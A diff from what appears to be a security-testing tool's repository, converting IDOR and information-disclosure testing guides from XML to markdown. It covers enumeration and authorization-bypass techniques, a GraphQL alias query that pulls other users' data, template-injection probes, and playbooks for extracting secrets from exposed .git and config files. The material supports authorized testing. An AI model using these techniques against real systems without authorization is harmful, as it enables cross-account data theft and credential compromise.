2. Show the same request fails with appropriately enforced authorization when corrected.
|
|
||||||
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL).
|
|
||||||
4. Document tenant boundary violations (if applicable).
|
|
||||||
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner).
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Public/anonymous resources by design
|
|
||||||
- Soft-privatized data where content is already public
|
|
||||||
- Idempotent metadata lookups that do not reveal sensitive content
|
|
||||||
- Correct row-level checks enforced across all channels
|
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
|
||||||
- Cross-account data exposure (PII/PHI/PCI)
|
|
||||||
- Unauthorized state changes (transfers, role changes, cancellations)
|
|
||||||
- Cross-tenant data leaks violating contractual and regulatory boundaries
|
|
||||||
- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
|
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Always test list/search/export endpoints first; they are rich ID seeders.
|
|
||||||
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles.
|
|
||||||
3. Toggle content-types and transports; authorization middleware often differs per stack.
|
|
||||||
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children.
|
|
||||||
5. In multi-tenant apps, vary org headers, subdomains, and path params independently.
|
|
||||||
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks.
|
|
||||||
7. Inspect gateways for header trust and cache key configuration.
|
|
||||||
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding.
|
|
||||||
9. Use timing/size/ETag differentials for blind confirmation when content is masked.
|
|
||||||
10. Prove impact with precise before/after diffs and role-separated evidence.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.</remember>
|
|
||||||
</idor_vulnerability_guide>
|
|
||||||
213
strix/skills/vulnerabilities/idor.md
Normal file
213
strix/skills/vulnerabilities/idor.md
Normal file
@@ -0,0 +1,213 @@
|
|||||||
|
---
|
||||||
|
name: idor
|
||||||
|
description: IDOR/BOLA testing for object-level authorization failures and cross-account data access
|
||||||
|
---
|
||||||
|
|
||||||
|
# IDOR
|
||||||
|
|
||||||
|
Object-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
**Scope**
|
||||||
|
- Horizontal access: access another subject's objects of the same type
|
||||||
|
- Vertical access: access privileged objects/actions (admin-only, staff-only)
|
||||||
|
- Cross-tenant access: break isolation boundaries in multi-tenant systems
|
||||||
|
- Cross-service access: token or context accepted by the wrong service
|
||||||
|
|
||||||
|
**Reference Locations**
|
||||||
|
- Paths, query params, JSON bodies, form-data, headers, cookies
|
||||||
|
- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
|
||||||
|
|
||||||
|
**Identifier Forms**
|
||||||
|
- Integers, UUID/ULID/CUID, Snowflake, slugs
|
||||||
|
- Composite keys (e.g., `{orgId}:{userId}`)
|
||||||
|
- Opaque tokens, base64/hex-encoded blobs
|
||||||
|
|
||||||
|
**Relationship References**
|
||||||
|
- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
|
||||||
|
|
||||||
|
**Expansion/Projection Knobs**
|
||||||
|
- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate`
|
||||||
|
- Often bypass authorization in resolvers or serializers
|
||||||
|
|
||||||
|
## High-Value Targets
|
||||||
|
|
||||||
|
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
|
||||||
|
- Messaging/mailbox/notifications, audit logs, activity feeds
|
||||||
|
- Billing: invoices, payment methods, transactions, credits
|
||||||
|
- Healthcare/education records, HR documents, PII/PHI/PCI
|
||||||
|
- Admin/staff tools, impersonation/session management
|
||||||
|
- File/object storage keys (S3/GCS signed URLs, share links)
|
||||||
|
- Background jobs: import/export job IDs, task results
|
||||||
|
- Multi-tenant resources: organizations, workspaces, projects
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
**Parameter Analysis**
|
||||||
|
- Pagination/cursors: `page[offset]`, `page[limit]`, `cursor`, `nextPageToken` (often reveal or accept cross-tenant/state)
|
||||||
|
- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
|
||||||
|
|
||||||
|
**Enumeration Techniques**
|
||||||
|
- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars
|
||||||
|
- Edge values: null/empty/0/-1/MAX_INT, scientific notation, overflows
|
||||||
|
- Duplicate keys/parameter pollution: `id=1&id=2`, JSON duplicate keys `{"id":1,"id":2}` (parser precedence)
|
||||||
|
- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
|
||||||
|
- Path traversal-like in virtual file systems: `/files/user_123/../../user_456/report.csv`
|
||||||
|
|
||||||
|
**UUID/Opaque ID Sources**
|
||||||
|
- Logs, exports, JS bundles, analytics endpoints, emails, public activity
|
||||||
|
- Time-based IDs (UUIDv1, ULID) may be guessable within a window
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Horizontal & Vertical Access
|
||||||
|
|
||||||
|
- Swap object IDs between principals using the same token to probe horizontal access
|
||||||
|
- Repeat with lower-privilege tokens to probe vertical access
|
||||||
|
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
|
||||||
|
|
||||||
|
### Bulk & Batch Operations
|
||||||
|
|
||||||
|
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
|
||||||
|
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
|
||||||
|
|
||||||
|
### Secondary IDOR
|
||||||
|
|
||||||
|
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs
|
||||||
|
- Fetch or mutate those objects directly
|
||||||
|
- Pagination/cursor manipulation to skip filters and pull other users' pages
|
||||||
|
|
||||||
|
### Job/Task Objects
|
||||||
|
|
||||||
|
- Access job/task IDs from one user to retrieve results for another (`export/{jobId}/download`, `reports/{taskId}`)
|
||||||
|
- Cancel/approve someone else's jobs by referencing their task IDs
|
||||||
|
|
||||||
|
### File/Object Storage
|
||||||
|
|
||||||
|
- Direct object paths or weakly scoped signed URLs
|
||||||
|
- Attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
|
||||||
|
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
|
||||||
|
|
||||||
|
### GraphQL
|
||||||
|
|
||||||
|
- Enforce resolver-level checks: do not rely on a top-level gate
|
||||||
|
- Verify field and edge resolvers bind the resource to the caller on every hop
|
||||||
|
- Abuse batching/aliases to retrieve multiple users' nodes in one request
|
||||||
|
- Global node patterns (Relay): decode base64 IDs and swap raw IDs
|
||||||
|
- Overfetching via fragments on privileged types
|
||||||
|
|
||||||
|
```graphql
|
||||||
|
query IDOR {
|
||||||
|
me { id }
|
||||||
|
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
|
||||||
|
u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Microservices & Gateways
|
||||||
|
|
||||||
|
- Token confusion: token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
|
||||||
|
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like `X-User-Id`, `X-Organization-Id`; try overriding or removing them
|
||||||
|
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
|
||||||
|
|
||||||
|
### Multi-Tenant
|
||||||
|
|
||||||
|
- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug)
|
||||||
|
- Try mixing org of token with resource from another org
|
||||||
|
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
|
||||||
|
|
||||||
|
### WebSocket
|
||||||
|
|
||||||
|
- Authorization per-subscription: ensure channel/topic names cannot be guessed (`user_{id}`, `org_{id}`)
|
||||||
|
- Subscribe/publish checks must run server-side, not only at handshake
|
||||||
|
- Try sending messages with target user IDs after subscribing to own channels
|
||||||
|
|
||||||
|
### gRPC
|
||||||
|
|
||||||
|
- Direct protobuf fields (`owner_id`, `tenant_id`) often bypass HTTP-layer middleware
|
||||||
|
- Validate references via grpcurl with tokens from different principals
|
||||||
|
|
||||||
|
### Integrations
|
||||||
|
|
||||||
|
- Webhooks/callbacks referencing foreign objects (e.g., `invoice_id`) processed without verifying ownership
|
||||||
|
- Third-party importers syncing data into wrong tenant due to missing tenant binding
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
**Parser & Transport**
|
||||||
|
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
|
||||||
|
- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or using GET on endpoints incorrectly accepting state changes
|
||||||
|
- JSON duplicate keys/array injection to bypass naive validators
|
||||||
|
|
||||||
|
**Parameter Pollution**
|
||||||
|
- Duplicate parameters in query/body to influence server-side precedence (`id=123&id=456`); try both orderings
|
||||||
|
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
|
||||||
|
|
||||||
|
**Cache & Gateway**
|
||||||
|
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users
|
||||||
|
- Manipulate Vary and Accept headers
|
||||||
|
- Redirect chains and 304/206 behaviors can leak content across tenants
|
||||||
|
|
||||||
|
**Race Windows**
|
||||||
|
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
|
||||||
|
|
||||||
|
**Blind Channels**
|
||||||
|
- Use differential responses (status, size, ETag, timing) to detect existence
|
||||||
|
- Error shape often differs for owned vs foreign objects
|
||||||
|
- HEAD/OPTIONS, conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without full content
|
||||||
|
|
||||||
|
## Chaining Attacks
|
||||||
|
|
||||||
|
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
|
||||||
|
- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
|
||||||
|
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
|
||||||
|
- IDOR + Race: bypass spot checks with simultaneous requests
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Build matrix** - Subject × Object × Action matrix (who can do what to which resource)
|
||||||
|
2. **Obtain principals** - At least two: owner and non-owner (plus admin/staff if applicable)
|
||||||
|
3. **Collect IDs** - Capture at least one valid object ID per principal from list/search/export endpoints
|
||||||
|
4. **Cross-channel testing** - Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants
|
||||||
|
5. **Transport variation** - Test across web, mobile, API, GraphQL, WebSocket, gRPC
|
||||||
|
6. **Consistency check** - Same rule must hold regardless of transport, content-type, serialization, or gateway
|
||||||
|
|
||||||
|
## Validation
|
||||||
|
|
||||||
|
1. Demonstrate access to an object not owned by the caller (content or metadata)
|
||||||
|
2. Show the same request fails with appropriately enforced authorization when corrected
|
||||||
|
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL)
|
||||||
|
4. Document tenant boundary violations (if applicable)
|
||||||
|
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner)
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
|
- Public/anonymous resources by design
|
||||||
|
- Soft-privatized data where content is already public
|
||||||
|
- Idempotent metadata lookups that do not reveal sensitive content
|
||||||
|
- Correct row-level checks enforced across all channels
|
||||||
|
|
||||||
|
## Impact
|
||||||
|
|
||||||
|
- Cross-account data exposure (PII/PHI/PCI)
|
||||||
|
- Unauthorized state changes (transfers, role changes, cancellations)
|
||||||
|
- Cross-tenant data leaks violating contractual and regulatory boundaries
|
||||||
|
- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
|
||||||
|
|
||||||
|
## Pro Tips
|
||||||
|
|
||||||
|
1. Always test list/search/export endpoints first; they are rich ID seeders
|
||||||
|
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles
|
||||||
|
3. Toggle content-types and transports; authorization middleware often differs per stack
|
||||||
|
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children
|
||||||
|
5. In multi-tenant apps, vary org headers, subdomains, and path params independently
|
||||||
|
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks
|
||||||
|
7. Inspect gateways for header trust and cache key configuration
|
||||||
|
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding
|
||||||
|
9. Use timing/size/ETag differentials for blind confirmation when content is masked
|
||||||
|
10. Prove impact with precise before/after diffs and role-separated evidence
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.
|
||||||
@@ -1,222 +0,0 @@
|
|||||||
<information_disclosure_vulnerability_guide>
|
|
||||||
<title>INFORMATION DISCLOSURE</title>
|
|
||||||
|
|
||||||
<critical>Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.</critical>
|
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Errors and exception pages: stack traces, file paths, SQL, framework versions
|
|
||||||
- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
|
|
||||||
- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
|
|
||||||
- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
|
|
||||||
- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
|
|
||||||
- Client bundles and source maps: webpack/Vite maps, embedded env, __NEXT_DATA__, static JSON
|
|
||||||
- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
|
|
||||||
- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
|
|
||||||
- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
|
|
||||||
- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
|
|
||||||
- Cross-origin signals: CORS misconfig, Referrer-Policy leakage, Expose-Headers
|
|
||||||
- File/document metadata: EXIF, PDF/Office properties
|
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Build a channel map: Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN.
|
|
||||||
2. Establish a diff harness: compare owner vs non-owner vs anonymous across transports; normalize on status/body length/ETag/headers.
|
|
||||||
3. Trigger controlled failures: send malformed types, boundary values, missing params, and alternate content-types to elicit error detail and stack traces.
|
|
||||||
4. Enumerate artifacts: DVCS folders, backups, config endpoints, source maps, client bundles, API docs, observability routes.
|
|
||||||
5. Correlate disclosures to impact: versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass, IDs→IDOR.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<surfaces>
|
|
||||||
<errors_and_exceptions>
|
|
||||||
- SQL/ORM errors: reveal table/column names, DBMS, query fragments
|
|
||||||
- Stack traces: absolute paths, class/method names, framework versions, developer emails
|
|
||||||
- Template engine probes: {% raw %}{{7*7}}, ${7*7}{% endraw %} identify templating stack and code paths
|
|
||||||
- JSON/XML parsers: type mismatches and coercion logs leak internal model names
|
|
||||||
</errors_and_exceptions>
|
|
||||||
|
|
||||||
<debug_and_env_modes>
|
|
||||||
- Debug pages and flags: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
|
|
||||||
- Profiler endpoints: /debug/pprof, /actuator, /_profiler, custom /debug APIs
|
|
||||||
- Feature/config toggles exposed in JS or headers; admin/staff banners in HTML
|
|
||||||
</debug_and_env_modes>
|
|
||||||
|
|
||||||
<dvcs_and_backups>
|
|
||||||
- DVCS: /.git/ (HEAD, config, index, objects), .svn/entries, .hg/store → reconstruct source and secrets
|
|
||||||
- Backups/temp: .bak/.old/~/.swp/.swo/.tmp/.orig, db dumps, zipped deployments under /backup/, /old/, /archive/
|
|
||||||
- Build artifacts: dist artifacts containing .map, env prints, internal URLs
|
|
||||||
</dvcs_and_backups>
|
|
||||||
|
|
||||||
<configs_and_secrets>
|
|
||||||
- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
|
|
||||||
- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens, cloud credentials files
|
|
||||||
- Credentials and connection strings; internal hosts and ports; JWT secrets
|
|
||||||
</configs_and_secrets>
|
|
||||||
|
|
||||||
<api_schemas_and_introspection>
|
|
||||||
- OpenAPI/Swagger: /swagger, /api-docs, /openapi.json — enumerate hidden/privileged operations
|
|
||||||
- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields; persisted queries catalogs
|
|
||||||
- gRPC: server reflection exposing services/messages; proto download via reflection
|
|
||||||
</api_schemas_and_introspection>
|
|
||||||
|
|
||||||
<client_bundles_and_maps>
|
|
||||||
- Source maps (.map) reveal original sources, comments, and internal logic
|
|
||||||
- Client env leakage: NEXT_PUBLIC_/VITE_/REACT_APP_ variables; runtime config; embedded secrets accidentally shipped
|
|
||||||
- Next.js data: __NEXT_DATA__ and pre-fetched JSON under /_next/data can include internal IDs, flags, or PII
|
|
||||||
- Static JSON/CSV feeds used by the UI that bypass server-side auth filtering
|
|
||||||
</client_bundles_and_maps>
|
|
||||||
|
|
||||||
<headers_and_response_metadata>
|
|
||||||
- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
|
|
||||||
- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
|
|
||||||
- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range (partial content reveals)
|
|
||||||
- Content sniffing and MIME metadata that implies backend components
|
|
||||||
</headers_and_response_metadata>
|
|
||||||
|
|
||||||
<storage_and_exports>
|
|
||||||
- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
|
|
||||||
- Signed URLs: long-lived, weakly scoped, re-usable across tenants; metadata leaks in headers
|
|
||||||
- Export/report endpoints returning foreign data sets or unfiltered fields
|
|
||||||
</storage_and_exports>
|
|
||||||
|
|
||||||
<observability_and_admin>
|
|
||||||
- Metrics: Prometheus /metrics exposing internal hostnames, process args, SQL, credentials by mistake
|
|
||||||
- Health/config: /actuator/health, /actuator/env, Spring Boot info endpoints
|
|
||||||
- Tracing UIs and dashboards: Jaeger/Zipkin/Kibana/Grafana exposed without auth
|
|
||||||
</observability_and_admin>
|
|
||||||
|
|
||||||
<directory_and_indexing>
|
|
||||||
- Autoindex on /uploads/, /files/, /logs/, /tmp/, /assets/
|
|
||||||
- Robots/sitemap reveal hidden paths, admin panels, export feeds
|
|
||||||
</directory_and_indexing>
|
|
||||||
|
|
||||||
<cross_origin_signals>
|
|
||||||
- Referrer leakage: missing/referrer policy leading to path/query/token leaks to third parties
|
|
||||||
- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
|
|
||||||
</cross_origin_signals>
|
|
||||||
|
|
||||||
<file_metadata>
|
|
||||||
- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
|
|
||||||
</file_metadata>
|
|
||||||
</surfaces>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
|
||||||
<differential_oracles>
|
|
||||||
- Compare owner vs non-owner vs anonymous for the same resource and track: status, length, ETag, Last-Modified, Cache-Control
|
|
||||||
- HEAD vs GET: header-only differences can confirm existence or type without content
|
|
||||||
- Conditional requests: 304 vs 200 behaviors leak existence/state; binary search content size via Range requests
|
|
||||||
</differential_oracles>
|
|
||||||
|
|
||||||
<cdn_and_cache_keys>
|
|
||||||
- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers → cross-user cached responses
|
|
||||||
- Vary misconfiguration: user-agent/language vary without auth vary leaks alternate content
|
|
||||||
- 206 partial content + stale caches leak object fragments
|
|
||||||
</cdn_and_cache_keys>
|
|
||||||
|
|
||||||
<cross_channel_mirroring>
|
|
||||||
- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC; one channel leaks schema or fields hidden in others
|
|
||||||
- SSR vs CSR: server-rendered pages omit fields while JSON API includes them; compare responses
|
|
||||||
</cross_channel_mirroring>
|
|
||||||
|
|
||||||
<introspection_and_reflection>
|
|
||||||
- GraphQL: disabled introspection still leaks via errors, fragment suggestions, and client bundles containing schema
|
|
||||||
- gRPC reflection: list services/messages and infer internal resource names and flows
|
|
||||||
</introspection_and_reflection>
|
|
||||||
|
|
||||||
<cloud_specific>
|
|
||||||
- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
|
|
||||||
- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
|
|
||||||
</cloud_specific>
|
|
||||||
</advanced_techniques>
|
|
||||||
|
|
||||||
<usefulness_assessment>
|
|
||||||
- Actionable signals:
|
|
||||||
- Secrets/keys/tokens that grant new access (DB creds, cloud keys, JWT signing/refresh, signed URL secrets)
|
|
||||||
- Versions with a reachable, unpatched CVE on an exposed path
|
|
||||||
- Cross-tenant identifiers/data or per-user fields that differ by principal
|
|
||||||
- File paths, service hosts, or internal URLs that enable LFI/SSRF/RCE pivots
|
|
||||||
- Cache/CDN differentials (Vary/ETag/Range) that expose other users' content
|
|
||||||
- Schema/introspection revealing hidden operations or fields that return sensitive data
|
|
||||||
- Likely benign or intended:
|
|
||||||
- Public docs or non-sensitive metadata explicitly documented as public
|
|
||||||
- Generic server names without precise versions or exploit path
|
|
||||||
- Redacted/sanitized fields with stable length/ETag across principals
|
|
||||||
- Per-user data visible only to the owner and consistent with privacy policy
|
|
||||||
</usefulness_assessment>
|
|
||||||
|
|
||||||
<triage_rubric>
|
|
||||||
- Critical: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
|
|
||||||
- High: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content; schema enabling auth bypass
|
|
||||||
- Medium: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints/IDs
|
|
||||||
- Low: Generic headers, marketing versions, intended documentation without exploit path
|
|
||||||
- Guidance: Always attempt a minimal, reversible proof for Critical/High; if no safe chain exists, document precise blocker and downgrade
|
|
||||||
</triage_rubric>
|
|
||||||
|
|
||||||
<escalation_playbook>
|
|
||||||
- If DVCS/backups/configs → extract secrets; test least-privileged read; rotate after coordinated disclosure
|
|
||||||
- If versions → map to CVE; verify exposure; execute minimal PoC under strict scope
|
|
||||||
- If schema/introspection → call hidden/privileged fields with non-owner tokens; confirm auth gaps
|
|
||||||
- If source maps/client JSON → mine endpoints/IDs/flags; pivot to IDOR/listing; validate filtering
|
|
||||||
- If cache/CDN keys → demonstrate cross-user cache leak via Vary/ETag/Range; escalate to broken access control
|
|
||||||
- If paths/hosts → target LFI/SSRF with harmless reads (e.g., /etc/hostname, metadata headers); avoid destructive actions
|
|
||||||
- If observability/admin → enumerate read-only info first; prove data scope breach; avoid write/exec operations
|
|
||||||
</escalation_playbook>
|
|
||||||
|
|
||||||
<exploitation_chains>
|
|
||||||
<credential_extraction>
|
|
||||||
- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
|
|
||||||
- Keys → cloud control plane access; rotate and verify scope
|
|
||||||
</credential_extraction>
|
|
||||||
|
|
||||||
<version_to_cve>
|
|
||||||
1. Derive precise component versions from headers/errors/bundles.
|
|
||||||
2. Map to known CVEs and confirm reachability.
|
|
||||||
3. Execute minimal proof targeting disclosed component.
|
|
||||||
</version_to_cve>
|
|
||||||
|
|
||||||
<path_disclosure_to_lfi>
|
|
||||||
1. Paths from stack traces/templates reveal filesystem layout.
|
|
||||||
2. Use LFI/traversal to fetch config/keys.
|
|
||||||
3. Prove controlled access without altering state.
|
|
||||||
</path_disclosure_to_lfi>
|
|
||||||
|
|
||||||
<schema_to_auth_bypass>
|
|
||||||
1. Schema reveals hidden fields/endpoints.
|
|
||||||
2. Attempt requests with those fields; confirm missing authorization or field filtering.
|
|
||||||
</schema_to_auth_bypass>
|
|
||||||
</exploitation_chains>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Provide raw evidence (headers/body/artifact) and explain exact data revealed.
|
|
||||||
2. Determine intent: cross-check docs/UX; classify per triage rubric (Critical/High/Medium/Low).
|
|
||||||
3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain (what to try next and why).
|
|
||||||
4. Show reproducibility and minimal request set; include cross-channel confirmation where applicable.
|
|
||||||
5. Bound scope (user, tenant, environment) and data sensitivity classification.
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Intentional public docs or non-sensitive metadata with no exploit path
|
|
||||||
- Generic errors with no actionable details
|
|
||||||
- Redacted fields that do not change differential oracles (length/ETag stable)
|
|
||||||
- Version banners with no exposed vulnerable surface and no chain
|
|
||||||
- Owner-visible-only details that do not cross identity/tenant boundaries
|
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
|
||||||
- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
|
|
||||||
- Credential/secret exposure leading to persistent external compromise
|
|
||||||
- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
|
|
||||||
- Privacy/regulatory violations and business intelligence leakage
|
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins.
|
|
||||||
2. Normalize responses and diff by digest to reduce noise when comparing roles.
|
|
||||||
3. Hunt source maps and client data JSON; they often carry internal IDs and flags.
|
|
||||||
4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant.
|
|
||||||
5. Treat introspection and reflection as configuration findings across GraphQL/gRPC; validate per environment.
|
|
||||||
6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups.
|
|
||||||
7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.</remember>
|
|
||||||
</information_disclosure_vulnerability_guide>
|
|
||||||
183
strix/skills/vulnerabilities/information_disclosure.md
Normal file
183
strix/skills/vulnerabilities/information_disclosure.md
Normal file
@@ -0,0 +1,183 @@
|
|||||||
|
---
|
||||||
|
name: information-disclosure
|
||||||
|
description: Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure
|
||||||
|
---
|
||||||
|
|
||||||
|
# Information Disclosure
|
||||||
|
|
||||||
|
Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
- Errors and exception pages: stack traces, file paths, SQL, framework versions
|
||||||
|
- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
|
||||||
|
- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
|
||||||
|
- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
|
||||||
|
- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
|
||||||
|
- Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON
|
||||||
|
- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
|
||||||
|
- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
|
||||||
|
- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
|
||||||
|
- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
|
||||||
|
|
||||||
|
## High-Value Surfaces
|
||||||
|
|
||||||
|
### Errors and Exceptions
|
||||||
|
|
||||||
|
- SQL/ORM errors: reveal table/column names, DBMS, query fragments
|
||||||
|
- Stack traces: absolute paths, class/method names, framework versions, developer emails
|
||||||
|
- Template engine probes: `{{7*7}}`, `${7*7}` identify templating stack
|
||||||
|
- JSON/XML parsers: type mismatches leak internal model names
|
||||||
|
|
||||||
|
### Debug and Env Modes
|
||||||
|
|
||||||
|
- Debug pages: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
|
||||||
|
- Profiler endpoints: `/debug/pprof`, `/actuator`, `/_profiler`, custom `/debug` APIs
|
||||||
|
- Feature/config toggles exposed in JS or headers
|
||||||
|
|
||||||
|
### DVCS and Backups
|
||||||
|
|
||||||
|
- DVCS: `/.git/` (HEAD, config, index, objects), `.svn/entries`, `.hg/store` → reconstruct source and secrets
|
||||||
|
- Backups/temp: `.bak`/`.old`/`~`/`.swp`/`.swo`/`.tmp`/`.orig`, db dumps, zipped deployments
|
||||||
|
- Build artifacts: dist artifacts containing `.map`, env prints, internal URLs
|
||||||
|
|
||||||
|
### Configs and Secrets
|
||||||
|
|
||||||
|
- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
|
||||||
|
- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens
|
||||||
|
- Credentials and connection strings; internal hosts and ports; JWT secrets
|
||||||
|
|
||||||
|
### API Schemas and Introspection
|
||||||
|
|
||||||
|
- OpenAPI/Swagger: `/swagger`, `/api-docs`, `/openapi.json` — enumerate hidden/privileged operations
|
||||||
|
- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields
|
||||||
|
- gRPC: server reflection exposing services/messages
|
||||||
|
|
||||||
|
